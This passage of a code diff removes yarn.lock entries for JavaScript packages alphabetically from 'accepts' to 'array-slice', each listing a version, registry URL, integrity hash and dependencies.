-  resolved "https://registry.yarnpkg.com/accepts/-/accepts-1.3.7.tgz#531bc726517a3b2b41f850021c6cc15eaab507cd"
-  integrity sha512-Il80Qs2WjYlJIBNzNkK6KYqlVMTbZLXgHx2oT0pU/fjRHyEp+PEfEPY0R3WCwAGVOtauxh1hOxNgIf5bv7dQpA==
-  dependencies:
-    mime-types "~2.1.24"
-    negotiator "0.6.2"
-
-accord@^0.29.0:
-  version "0.29.0"
-  resolved "https://registry.yarnpkg.com/accord/-/accord-0.29.0.tgz#b741c176d00435c5929d466dfe8cf6bee933b1e4"
-  integrity sha512-3OOR92FTc2p5/EcOzPcXp+Cbo+3C15nV9RXHlOUBCBpHhcB+0frbSNR9ehED/o7sTcyGVtqGJpguToEdlXhD0w==
-  dependencies:
-    convert-source-map "^1.5.0"
-    glob "^7.0.5"
-    indx "^0.2.3"
-    lodash.clone "^4.3.2"
-    lodash.defaults "^4.0.1"
-    lodash.flatten "^4.2.0"
-    lodash.merge "^4.4.0"
-    lodash.partialright "^4.1.4"
-    lodash.pick "^4.2.1"
-    lodash.uniq "^4.3.0"
-    resolve "^1.5.0"
-    semver "^5.3.0"
-    uglify-js "^2.8.22"
-    when "^3.7.8"
-
-acorn-globals@^4.1.0, acorn-globals@^4.3.0:
-  version "4.3.4"
-  resolved "https://registry.yarnpkg.com/acorn-globals/-/acorn-globals-4.3.4.tgz#9fa1926addc11c97308c4e66d7add0d40c3272e7"
-  integrity sha512-clfQEh21R+D0leSbUdWf3OcfqyaCSAQ8Ryq00bofSekfr9W8u1jyYZo6ir0xu9Gtcf7BjcHJpnbZH7JOCpP60A==
-  dependencies:
-    acorn "^6.0.1"
-    acorn-walk "^6.0.1"
-
-acorn-jsx@^5.2.0:
-  version "5.3.1"
-  resolved "https://registry.yarnpkg.com/acorn-jsx/-/acorn-jsx-5.3.1.tgz#fc8661e11b7ac1539c47dbfea2e72b3af34d267b"
-  integrity sha512-K0Ptm/47OKfQRpNQ2J/oIN/3QYiK6FwW+eJbILhsdxh2WTLdl+30o8aGdTbm5JbffpFFAg/g+zi1E+jvJha5ng==
-
-acorn-walk@^6.0.1:
-  version "6.2.0"
-  resolved "https://registry.yarnpkg.com/acorn-walk/-/acorn-walk-6.2.0.tgz#123cb8f3b84c2171f1f7fb252615b1c78a6b1a8c"
-  integrity sha512-7evsyfH1cLOCdAzZAd43Cic04yKydNx0cF+7tiA19p1XnLLPU4dpCQOqpjqwokFe//vS0QqfqqjCS2JkiIs0cA==
-
-acorn@^5.5.3:
-  version "5.7.4"
-  resolved "https://registry.yarnpkg.com/acorn/-/acorn-5.7.4.tgz#3e8d8a9947d0599a1796d10225d7432f4a4acf5e"
-  integrity sha512-1D++VG7BhrtvQpNbBzovKNc1FLGGEE/oGe7b9xJm/RFHMBeUaUGpluV9RLjZa47YFdPcDAenEYuq9pQPcMdLJg==
-
-acorn@^6.0.1, acorn@^6.0.4, acorn@^6.2.1:
-  version "6.4.2"
-  resolved "https://registry.yarnpkg.com/acorn/-/acorn-6.4.2.tgz#35866fd710528e92de10cf06016498e47e39e1e6"
-  integrity sha512-XtGIhXwF8YM8bJhGxG5kXgjkEuNGLTkoYqVE+KMR+aspr4KGYmKYg7yUe3KghyQ9yheNwLnjmzh/7+gfDBmHCQ==
-
-acorn@^7.1.1:
-  version "7.4.1"
-  resolved "https://registry.yarnpkg.com/acorn/-/acorn-7.4.1.tgz#feaed255973d2e77555b83dbc08851a6c63520fa"
-  integrity sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==
-
-address@1.1.2, address@^1.0.1:
-  version "1.1.2"
-  resolved "https://registry.yarnpkg.com/address/-/address-1.1.2.tgz#bf1116c9c758c51b7a933d296b72c221ed9428b6"
-  integrity sha512-aT6camzM4xEA54YVJYSqxz1kv4IHnQZRtThJJHhUMRExaU5spC7jX5ugSwTaTgJliIgs4VhZOk7htClvQ/LmRA==
-
-adjust-sourcemap-loader@3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/adjust-sourcemap-loader/-/adjust-sourcemap-loader-3.0.0.tgz#5ae12fb5b7b1c585e80bbb5a63ec163a1a45e61e"
-  integrity sha512-YBrGyT2/uVQ/c6Rr+t6ZJXniY03YtHGMJQYal368burRGYKqhx9qGTWqcBU5s1CwYY9E/ri63RYyG1IacMZtqw==
-  dependencies:
-    loader-utils "^2.0.0"
-    regex-parser "^2.2.11"
-
-aes-js@3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/aes-js/-/aes-js-3.0.0.tgz#e21df10ad6c2053295bcbb8dab40b09dbea87e4d"
-  integrity sha1-4h3xCtbCBTKVvLuNq0Cwnb6ofk0=
-
-aes-js@^3.1.1, aes-js@^3.1.2:
-  version "3.1.2"
-  resolved "https://registry.yarnpkg.com/aes-js/-/aes-js-3.1.2.tgz#db9aabde85d5caabbfc0d4f2a4446960f627146a"
-  integrity sha512-e5pEa2kBnBOgR4Y/p20pskXI74UEz7de8ZGVo58asOtvSVG5YAbJeELPZxOmt+Bnz3rX753YKhfIn4X4l1PPRQ==
-
-aggregate-error@^3.0.0:
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/aggregate-error/-/aggregate-error-3.1.0.tgz#92670ff50f5359bdb7a3e0d40d0ec30c5737687a"
-  integrity sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==
-  dependencies:
-    clean-stack "^2.0.0"
-    indent-string "^4.0.0"
-
-ajv-errors@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/ajv-errors/-/ajv-errors-1.0.1.tgz#f35986aceb91afadec4102fbd85014950cefa64d"
-  integrity sha512-DCRfO/4nQ+89p/RK43i8Ezd41EqdGIU4ld7nGF8OQ14oc/we5rEntLCUa7+jrn3nn83BosfwZA0wb4pon2o8iQ==
-
-ajv-keywords@^3.1.0, ajv-keywords@^3.4.1, ajv-keywords@^3.5.2:
-  version "3.5.2"
-  resolved "https://registry.yarnpkg.com/ajv-keywords/-/ajv-keywords-3.5.2.tgz#31f29da5ab6e00d1c2d329acf7b5929614d5014d"
-  integrity sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==
-
-ajv@^6.1.0, ajv@^6.10.0, ajv@^6.10.2, ajv@^6.12.3, ajv@^6.12.4:
-  version "6.12.6"
-  resolved "https://registry.yarnpkg.com/ajv/-/ajv-6.12.6.tgz#baf5a62e802b07d977034586f8c3baf5adf26df4"
-  integrity sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==
-  dependencies:
-    fast-deep-equal "^3.1.1"
-    fast-json-stable-stringify "^2.0.0"
-    json-schema-traverse "^0.4.1"
-    uri-js "^4.2.2"
-
-align-text@^0.1.1, align-text@^0.1.3:
-  version "0.1.4"
-  resolved "https://registry.yarnpkg.com/align-text/-/align-text-0.1.4.tgz#0cd90a561093f35d0a99256c22b7069433fad117"
-  integrity sha1-DNkKVhCT810KmSVsIrcGlDP60Rc=
-  dependencies:
-    kind-of "^3.0.2"
-    longest "^1.0.1"
-    repeat-string "^1.5.2"
-
-alphanum-sort@^1.0.0:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/alphanum-sort/-/alphanum-sort-1.0.2.tgz#97a1119649b211ad33691d9f9f486a8ec9fbe0a3"
-  integrity sha1-l6ERlkmyEa0zaR2fn0hqjsn74KM=
-
-ansi-colors@^1.0.1:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/ansi-colors/-/ansi-colors-1.1.0.tgz#6374b4dd5d4718ff3ce27a671a3b1cad077132a9"
-  integrity sha512-SFKX67auSNoVR38N3L+nvsPjOE0bybKTYbkf5tRvushrAPQ9V75huw0ZxBkKVeRU9kqH3d6HA4xTckbwZ4ixmA==
-  dependencies:
-    ansi-wrap "^0.1.0"
-
-ansi-colors@^3.0.0:
-  version "3.2.4"
-  resolved "https://registry.yarnpkg.com/ansi-colors/-/ansi-colors-3.2.4.tgz#e3a3da4bfbae6c86a9c285625de124a234026fbf"
-  integrity sha512-hHUXGagefjN2iRrID63xckIvotOXOojhQKWIPUZ4mNUZ9nLZW+7FMNoE1lOkEhNWYsx/7ysGIuJYCiMAA9FnrA==
-
-ansi-cyan@^0.1.1:
-  version "0.1.1"
-  resolved "https://registry.yarnpkg.com/ansi-cyan/-/ansi-cyan-0.1.1.tgz#538ae528af8982f28ae30d86f2f17456d2609873"
-  integrity sha1-U4rlKK+JgvKK4w2G8vF0VtJgmHM=
-  dependencies:
-    ansi-wrap "0.1.0"
-
-ansi-escapes@^3.0.0, ansi-escapes@^3.2.0:
-  version "3.2.0"
-  resolved "https://registry.yarnpkg.com/ansi-escapes/-/ansi-escapes-3.2.0.tgz#8780b98ff9dbf5638152d1f1fe5c1d7b4442976b"
-  integrity sha512-cBhpre4ma+U0T1oM5fXg7Dy1Jw7zzwv7lt/GoCpr+hDQJoYnKVPLL4dCvSEFMmQurOQvSrwT7SL/DAlhBI97RQ==
-
-ansi-escapes@^4.2.1:
-  version "4.3.2"
-  resolved "https://registry.yarnpkg.com/ansi-escapes/-/ansi-escapes-4.3.2.tgz#6b2291d1db7d98b6521d5f1efa42d0f3a9feb65e"
-  integrity sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==
-  dependencies:
-    type-fest "^0.21.3"
-
-ansi-gray@^0.1.1:
-  version "0.1.1"
-  resolved "https://registry.yarnpkg.com/ansi-gray/-/ansi-gray-0.1.1.tgz#2962cf54ec9792c48510a3deb524436861ef7251"
-  integrity sha1-KWLPVOyXksSFEKPetSRDaGHvclE=
-  dependencies:
-    ansi-wrap "0.1.0"
-
-ansi-html@0.0.7:
-  version "0.0.7"
-  resolved "https://registry.yarnpkg.com/ansi-html/-/ansi-html-0.0.7.tgz#813584021962a9e9e6fd039f940d12f56ca7859e"
-  integrity sha1-gTWEAhliqenm/QOflA0S9WynhZ4=
-
-ansi-red@^0.1.1:
-  version "0.1.1"
-  resolved "https://registry.yarnpkg.com/ansi-red/-/ansi-red-0.1.1.tgz#8c638f9d1080800a353c9c28c8a81ca4705d946c"
-  integrity sha1-jGOPnRCAgAo1PJwoyKgcpHBdlGw=
-  dependencies:
-    ansi-wrap "0.1.0"
-
-ansi-regex@^2.0.0:
-  version "2.1.1"
-  resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-2.1.1.tgz#c3b33ab5ee360d86e0e628f0468ae7ef27d654df"
-  integrity sha1-w7M6te42DYbg5ijwRorn7yfWVN8=
-
-ansi-regex@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-3.0.0.tgz#ed0317c322064f79466c02966bddb605ab37d998"
-  integrity sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=
-
-ansi-regex@^4.0.0, ansi-regex@^4.1.0:
-  version "4.1.0"
-  resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-4.1.0.tgz#8b9f8f08cf1acb843756a839ca8c7e3168c51997"
-  integrity sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==
-
-ansi-regex@^5.0.0:
-  version "5.0.0"
-  resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-5.0.0.tgz#388539f55179bf39339c81af30a654d69f87cb75"
-  integrity sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==
-
-ansi-styles@^2.2.1:
-  version "2.2.1"
-  resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-2.2.1.tgz#b432dd3358b634cf75e1e4664368240533c1ddbe"
-  integrity sha1-tDLdM1i2NM914eRmQ2gkBTPB3b4=
-
-ansi-styles@^3.2.0, ansi-styles@^3.2.1:
-  version "3.2.1"
-  resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-3.2.1.tgz#41fbb20243e50b12be0f04b8dedbf07520ce841d"
-  integrity sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==
-  dependencies:
-    color-convert "^1.9.0"
-
-ansi-styles@^4.0.0, ansi-styles@^4.1.0:
-  version "4.3.0"
-  resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-4.3.0.tgz#edd803628ae71c04c85ae7a0906edad34b648937"
-  integrity sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==
-  dependencies:
-    color-convert "^2.0.1"
-
-ansi-wrap@0.1.0, ansi-wrap@^0.1.0:
-  version "0.1.0"
-  resolved "https://registry.yarnpkg.com/ansi-wrap/-/ansi-wrap-0.1.0.tgz#a82250ddb0015e9a27ca82e82ea603bbfa45efaf"
-  integrity sha1-qCJQ3bABXponyoLoLqYDu/pF768=
-
-antd@^4.7.0:
-  version "4.16.2"
-  resolved "https://registry.yarnpkg.com/antd/-/antd-4.16.2.tgz#23b6ee8822c9ec21d9fe11b89246d49414878c48"
-  integrity sha512-8aRrhzVz0Z32PptW9syq0eQqjc9wfJn3nxgVqqxGNH5BkFr1LRiqM0wJ6FNiYc6XVbpnqP20z5gufYFHC7BHqw==
-  dependencies:
-    "@ant-design/colors" "^6.0.0"
-    "@ant-design/icons" "^4.6.2"
-    "@ant-design/react-slick" "~0.28.1"
-    "@babel/runtime" "^7.12.5"
-    array-tree-filter "^2.1.0"
-    classnames "^2.2.6"
-    copy-to-clipboard "^3.2.0"
-    lodash "^4.17.21"
-    moment "^2.25.3"
-    rc-cascader "~1.4.0"
-    rc-checkbox "~2.3.0"
-    rc-collapse "~3.1.0"
-    rc-dialog "~8.5.1"
-    rc-drawer "~4.3.0"
-    rc-dropdown "~3.2.0"
-    rc-field-form "~1.20.0"
-    rc-image "~5.2.4"
-    rc-input-number "~7.1.0"
-    rc-mentions "~1.6.1"
-    rc-menu "~9.0.9"
-    rc-motion "^2.4.0"
-    rc-notification "~4.5.7"
-    rc-pagination "~3.1.6"
-    rc-picker "~2.5.10"
-    rc-progress "~3.1.0"
-    rc-rate "~2.9.0"
-    rc-resize-observer "^1.0.0"
-    rc-select "~12.1.6"
-    rc-slider "~9.7.1"
-    rc-steps "~4.1.0"
-    rc-switch "~3.2.0"
-    rc-table "~7.15.1"
-    rc-tabs "~11.9.1"
-    rc-textarea "~0.3.0"
-    rc-tooltip "~5.1.1"
-    rc-tree "~4.1.0"
-    rc-tree-select "~4.3.0"
-    rc-trigger "^5.2.1"
-    rc-upload "~4.3.0"
-    rc-util "^5.13.1"
-    scroll-into-view-if-needed "^2.2.25"
-    warning "^4.0.3"
-
-any-signal@^1.1.0:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/any-signal/-/any-signal-1.2.0.tgz#d755f690896f3e75c4a07480f429a1ee7f8db3b4"
-  integrity sha512-Cl08k4xItix3jvu4cxO/dt2rQ6iUAjO66pTyRMub+WL1VXeAyZydCpD8GqWTPKfdL28U0R0UucmQVsUsBnvCmQ==
-  dependencies:
-    abort-controller "^3.0.0"
-
-anymatch@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/anymatch/-/anymatch-2.0.0.tgz#bcb24b4f37934d9aa7ac17b4adaf89e7c76ef2eb"
-  integrity sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==
-  dependencies:
-    micromatch "^3.1.4"
-    normalize-path "^2.1.1"
-
-anymatch@~3.1.1:
-  version "3.1.2"
-  resolved "https://registry.yarnpkg.com/anymatch/-/anymatch-3.1.2.tgz#c0557c096af32f106198f4f4e2a383537e378716"
-  integrity sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg==
-  dependencies:
-    normalize-path "^3.0.0"
-    picomatch "^2.0.4"
-
-apollo-boost@^0.4.9:
-  version "0.4.9"
-  resolved "https://registry.yarnpkg.com/apollo-boost/-/apollo-boost-0.4.9.tgz#ab3ba539c2ca944e6fd156583a1b1954b17a6791"
-  integrity sha512-05y5BKcDaa8w47f8d81UVwKqrAjn8uKLv6QM9fNdldoNzQ+rnOHgFlnrySUZRz9QIT3vPftQkEz2UEASp1Mi5g==
-  dependencies:
-    apollo-cache "^1.3.5"
-    apollo-cache-inmemory "^1.6.6"
-    apollo-client "^2.6.10"
-    apollo-link "^1.0.6"
-    apollo-link-error "^1.0.3"
-    apollo-link-http "^1.3.1"
-    graphql-tag "^2.4.2"
-    ts-invariant "^0.4.0"
-    tslib "^1.10.0"
-
-apollo-cache-inmemory@^1.6.6:
-  version "1.6.6"
-  resolved "https://registry.yarnpkg.com/apollo-cache-inmemory/-/apollo-cache-inmemory-1.6.6.tgz#56d1f2a463a6b9db32e9fa990af16d2a008206fd"
-  integrity sha512-L8pToTW/+Xru2FFAhkZ1OA9q4V4nuvfoPecBM34DecAugUZEBhI2Hmpgnzq2hTKZ60LAMrlqiASm0aqAY6F8/A==
-  dependencies:
-    apollo-cache "^1.3.5"
-    apollo-utilities "^1.3.4"
-    optimism "^0.10.0"
-    ts-invariant "^0.4.0"
-    tslib "^1.10.0"
-
-apollo-cache@1.3.5, apollo-cache@^1.3.5:
-  version "1.3.5"
-  resolved "https://registry.yarnpkg.com/apollo-cache/-/apollo-cache-1.3.5.tgz#9dbebfc8dbe8fe7f97ba568a224bca2c5d81f461"
-  integrity sha512-1XoDy8kJnyWY/i/+gLTEbYLnoiVtS8y7ikBr/IfmML4Qb+CM7dEEbIUOjnY716WqmZ/UpXIxTfJsY7rMcqiCXA==
-  dependencies:
-    apollo-utilities "^1.3.4"
-    tslib "^1.10.0"
-
-apollo-client@^2.6.10:
-  version "2.6.10"
-  resolved "https://registry.yarnpkg.com/apollo-client/-/apollo-client-2.6.10.tgz#86637047b51d940c8eaa771a4ce1b02df16bea6a"
-  integrity sha512-jiPlMTN6/5CjZpJOkGeUV0mb4zxx33uXWdj/xQCfAMkuNAC3HN7CvYDyMHHEzmcQ5GV12LszWoQ/VlxET24CtA==
-  dependencies:
-    "@types/zen-observable" "^0.8.0"
-    apollo-cache "1.3.5"
-    apollo-link "^1.0.0"
-    apollo-utilities "1.3.4"
-    symbol-observable "^1.0.2"
-    ts-invariant "^0.4.0"
-    tslib "^1.10.0"
-    zen-observable "^0.8.0"
-
-apollo-link-error@^1.0.3:
-  version "1.1.13"
-  resolved "https://registry.yarnpkg.com/apollo-link-error/-/apollo-link-error-1.1.13.tgz#c1a1bb876ffe380802c8df0506a32c33aad284cd"
-  integrity sha512-jAZOOahJU6bwSqb2ZyskEK1XdgUY9nkmeclCrW7Gddh1uasHVqmoYc4CKdb0/H0Y1J9lvaXKle2Wsw/Zx1AyUg==
-  dependencies:
-    apollo-link "^1.2.14"
-    apollo-link-http-common "^0.2.16"
-    tslib "^1.9.3"
-
-apollo-link-http-common@^0.2.16:
-  version "0.2.16"
-  resolved "https://registry.yarnpkg.com/apollo-link-http-common/-/apollo-link-http-common-0.2.16.tgz#756749dafc732792c8ca0923f9a40564b7c59ecc"
-  integrity sha512-2tIhOIrnaF4UbQHf7kjeQA/EmSorB7+HyJIIrUjJOKBgnXwuexi8aMecRlqTIDWcyVXCeqLhUnztMa6bOH/jTg==
-  dependencies:
-    apollo-link "^1.2.14"
-    ts-invariant "^0.4.0"
-    tslib "^1.9.3"
-
-apollo-link-http@^1.3.1:
-  version "1.5.17"
-  resolved "https://registry.yarnpkg.com/apollo-link-http/-/apollo-link-http-1.5.17.tgz#499e9f1711bf694497f02c51af12d82de5d8d8ba"
-  integrity sha512-uWcqAotbwDEU/9+Dm9e1/clO7hTB2kQ/94JYcGouBVLjoKmTeJTUPQKcJGpPwUjZcSqgYicbFqQSoJIW0yrFvg==
-  dependencies:
-    apollo-link "^1.2.14"
-    apollo-link-http-common "^0.2.16"
-    tslib "^1.9.3"
-
-apollo-link@^1.0.0, apollo-link@^1.0.6, apollo-link@^1.2.14:
-  version "1.2.14"
-  resolved "https://registry.yarnpkg.com/apollo-link/-/apollo-link-1.2.14.tgz#3feda4b47f9ebba7f4160bef8b977ba725b684d9"
-  integrity sha512-p67CMEFP7kOG1JZ0ZkYZwRDa369w5PIjtMjvrQd/HnIV8FRsHRqLqK+oAZQnFa1DDdZtOtHTi+aMIW6EatC2jg==
-  dependencies:
-    apollo-utilities "^1.3.0"
-    ts-invariant "^0.4.0"
-    tslib "^1.9.3"
-    zen-observable-ts "^0.8.21"
-
-apollo-utilities@1.3.4, apollo-utilities@^1.3.0, apollo-utilities@^1.3.4:
-  version "1.3.4"
-  resolved "https://registry.yarnpkg.com/apollo-utilities/-/apollo-utilities-1.3.4.tgz#6129e438e8be201b6c55b0f13ce49d2c7175c9cf"
-  integrity sha512-pk2hiWrCXMAy2fRPwEyhvka+mqwzeP60Jr1tRYi5xru+3ko94HI9o6lK0CT33/w4RDlxWchmdhDCrvdr+pHCig==
-  dependencies:
-    "@wry/equality" "^0.1.2"
-    fast-json-stable-stringify "^2.0.0"
-    ts-invariant "^0.4.0"
-    tslib "^1.10.0"
-
-append-buffer@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/append-buffer/-/append-buffer-1.0.2.tgz#d8220cf466081525efea50614f3de6514dfa58f1"
-  integrity sha1-2CIM9GYIFSXv6lBhTz3mUU36WPE=
-  dependencies:
-    buffer-equal "^1.0.0"
-
-aproba@^1.1.1:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/aproba/-/aproba-1.2.0.tgz#6802e6264efd18c790a1b0d517f0f2627bf2c94a"
-  integrity sha512-Y9J6ZjXtoYh8RnXVCMOU/ttDmk1aBjunq9vO0ta5x85WDQiQfUF9sIPBITdbiiIVcBo03Hi3jMxigBtsddlXRw==
-
-archy@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/archy/-/archy-1.0.0.tgz#f9c8c13757cc1dd7bc379ac77b2c62a5c2868c40"
-  integrity sha1-+cjBN1fMHde8N5rHeyxipcKGjEA=
-
-argparse@^1.0.7:
-  version "1.0.10"
-  resolved "https://registry.yarnpkg.com/argparse/-/argparse-1.0.10.tgz#bcd6791ea5ae09725e17e5ad988134cd40b3d911"
-  integrity sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==
-  dependencies:
-    sprintf-js "~1.0.2"
-
-aria-query@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/aria-query/-/aria-query-3.0.0.tgz#65b3fcc1ca1155a8c9ae64d6eee297f15d5133cc"
-  integrity sha1-ZbP8wcoRVajJrmTW7uKX8V1RM8w=
-  dependencies:
-    ast-types-flow "0.0.7"
-    commander "^2.11.0"
-
-aria-query@^4.0.2, aria-query@^4.2.2:
-  version "4.2.2"
-  resolved "https://registry.yarnpkg.com/aria-query/-/aria-query-4.2.2.tgz#0d2ca6c9aceb56b8977e9fed6aed7e15bbd2f83b"
-  integrity sha512-o/HelwhuKpTj/frsOsbNLNgnNGVIFsVP/SW2BSF14gVl7kAfMOJ6/8wUAUvG1R1NHKrfG+2sHZTu0yauT1qBrA==
-  dependencies:
-    "@babel/runtime" "^7.10.2"
-    "@babel/runtime-corejs3" "^7.10.2"
-
-arity-n@^1.0.4:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/arity-n/-/arity-n-1.0.4.tgz#d9e76b11733e08569c0847ae7b39b2860b30b745"
-  integrity sha1-2edrEXM+CFacCEeuezmyhgswt0U=
-
-arr-diff@^1.0.1:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/arr-diff/-/arr-diff-1.1.0.tgz#687c32758163588fef7de7b36fabe495eb1a399a"
-  integrity sha1-aHwydYFjWI/vfeezb6vklesaOZo=
-  dependencies:
-    arr-flatten "^1.0.1"
-    array-slice "^0.2.3"
-
-arr-diff@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/arr-diff/-/arr-diff-4.0.0.tgz#d6461074febfec71e7e15235761a329a5dc7c520"
-  integrity sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=
-
-arr-filter@^1.1.1:
-  version "1.1.2"
-  resolved "https://registry.yarnpkg.com/arr-filter/-/arr-filter-1.1.2.tgz#43fdddd091e8ef11aa4c45d9cdc18e2dff1711ee"
-  integrity sha1-Q/3d0JHo7xGqTEXZzcGOLf8XEe4=
-  dependencies:
-    make-iterator "^1.0.0"
-
-arr-flatten@^1.0.1, arr-flatten@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/arr-flatten/-/arr-flatten-1.1.0.tgz#36048bbff4e7b47e136644316c99669ea5ae91f1"
-  integrity sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg==
-
-arr-map@^2.0.0, arr-map@^2.0.2:
-  version "2.0.2"
-  resolved "https://registry.yarnpkg.com/arr-map/-/arr-map-2.0.2.tgz#3a77345ffc1cf35e2a91825601f9e58f2e24cac4"
-  integrity sha1-Onc0X/wc814qkYJWAfnljy4kysQ=
-  dependencies:
-    make-iterator "^1.0.0"
-
-arr-union@^2.0.1:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/arr-union/-/arr-union-2.1.0.tgz#20f9eab5ec70f5c7d215b1077b1c39161d292c7d"
-  integrity sha1-IPnqtexw9cfSFbEHexw5Fh0pLH0=
-
-arr-union@^3.1.0:
-  version "3.1.0"
-  resolved "https://registry.yarnpkg.com/arr-union/-/arr-union-3.1.0.tgz#e39b09aea9def866a8f206e288af63919bae39c4"
-  integrity sha1-45sJrqne+Gao8gbiiK9jkZuuOcQ=
-
-array-each@^1.0.0, array-each@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/array-each/-/array-each-1.0.1.tgz#a794af0c05ab1752846ee753a1f211a05ba0c44f"
-  integrity sha1-p5SvDAWrF1KEbudTofIRoFugxE8=
-
-array-equal@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/array-equal/-/array-equal-1.0.0.tgz#8c2a5ef2472fd9ea742b04c77a75093ba2757c93"
-  integrity sha1-jCpe8kcv2ep0KwTHenUJO6J1fJM=
-
-array-flatten@1.1.1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/array-flatten/-/array-flatten-1.1.1.tgz#9a5f699051b1e7073328f2a008968b64ea2955d2"
-  integrity sha1-ml9pkFGx5wczKPKgCJaLZOopVdI=
-
-array-flatten@^2.1.0:
-  version "2.1.2"
-  resolved "https://registry.yarnpkg.com/array-flatten/-/array-flatten-2.1.2.tgz#24ef80a28c1a893617e2149b0c6d0d788293b099"
-  integrity sha512-hNfzcOV8W4NdualtqBFPyVO+54DSJuZGY9qT4pRroB6S9e3iiido2ISIC5h9R2sPJ8H3FHCIiEnsv1lPXO3KtQ==
-
-array-includes@^3.0.3, array-includes@^3.1.1, array-includes@^3.1.2, array-includes@^3.1.3:
-  version "3.1.3"
-  resolved "https://registry.yarnpkg.com/array-includes/-/array-includes-3.1.3.tgz#c7f619b382ad2afaf5326cddfdc0afc61af7690a"
-  integrity sha512-gcem1KlBU7c9rB+Rq8/3PPKsK2kjqeEBa3bD5kkQo4nYlOHQCJqIJFqBXDEfwaRuYTT4E+FxA9xez7Gf/e3Q7A==
-  dependencies:
-    call-bind "^1.0.2"
-    define-properties "^1.1.3"
-    es-abstract "^1.18.0-next.2"
-    get-intrinsic "^1.1.1"
-    is-string "^1.0.5"
-
-array-initial@^1.0.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/array-initial/-/array-initial-1.1.0.tgz#2fa74b26739371c3947bd7a7adc73be334b3d795"
-  integrity sha1-L6dLJnOTccOUe9enrcc74zSz15U=
-  dependencies:
-    array-slice "^1.0.0"
-    is-number "^4.0.0"
-
-array-last@^1.1.1:
-  version "1.3.0"
-  resolved "https://registry.yarnpkg.com/array-last/-/array-last-1.3.0.tgz#7aa77073fec565ddab2493f5f88185f404a9d336"
-  integrity sha512-eOCut5rXlI6aCOS7Z7kCplKRKyiFQ6dHFBem4PwlwKeNFk2/XxTrhRh5T9PyaEWGy/NHTZWbY+nsZlNFJu9rYg==
-  dependencies:
-    is-number "^4.0.0"
-
-array-slice@^0.2.3:
-  version "0.2.3"
-  resolved "https://registry.yarnpkg.com/array-slice/-/array-slice-0.2.3.tgz#dd3cfb80ed7973a75117cdac69b0b99ec86186f5"
-  integrity sha1-3Tz7gO15c6dRF82sabC5nshhhvU=
-
-array-slice@^1.0.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/array-slice/-/array-slice-1.1.0.tgz#e368ea15f89bc7069f7ffb89aec3a6c7d4ac22d4"
